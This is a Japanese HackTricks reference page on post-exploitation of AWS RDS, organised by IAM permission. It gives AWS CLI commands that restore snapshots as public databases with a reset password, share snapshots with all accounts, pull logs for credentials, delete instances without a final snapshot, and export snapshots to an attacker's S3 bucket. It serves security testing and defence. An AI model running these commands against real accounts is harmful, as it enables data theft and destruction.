AWS - RDS Post Exploitation

HackTricksをサポートする

RDS

詳細については以下を参照してください:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

攻撃者が十分な権限を持っている場合、DBのスナップショットを作成し、そのスナップショットからパブリックにアクセス可能なDBを作成することで、DBをパブリックにアクセス可能にすることができます。

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

これらの権限を持つ攻撃者は、DBのスナップショットを作成し、それを公開することができます。その後、攻撃者は自分のアカウントでそのスナップショットからDBを作成することができます。

攻撃者が**rds:CreateDBSnapshotを持っていない場合でも、他の作成されたスナップショットを公開**することができます。

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion権限を持つ攻撃者は、RDSインスタンスのログファイルの一部をダウンロードすることができます。もし機密データやアクセス認証情報が誤ってログに記録されている場合、攻撃者はこの情報を利用して権限をエスカレートさせたり、不正な行動を行う可能性があります。

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

潜在的影響: 漏洩した認証情報を使用して機密情報にアクセスしたり、不正な操作を行う可能性があります。

rds:DeleteDBInstance

これらの権限を持つ攻撃者は、既存のRDSインスタンスにDoS攻撃を行うことができます。

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

潜在的な影響: 既存のRDSインスタンスの削除、およびデータの損失の可能性。

rds:StartExportTask

TODO: テスト

この権限を持つ攻撃者は、RDSインスタンスのスナップショットをS3バケットにエクスポートできます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスする可能性があります。

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potential impact: エクスポートされたスナップショット内の機密データへのアクセス。

Support HackTricks

Last updated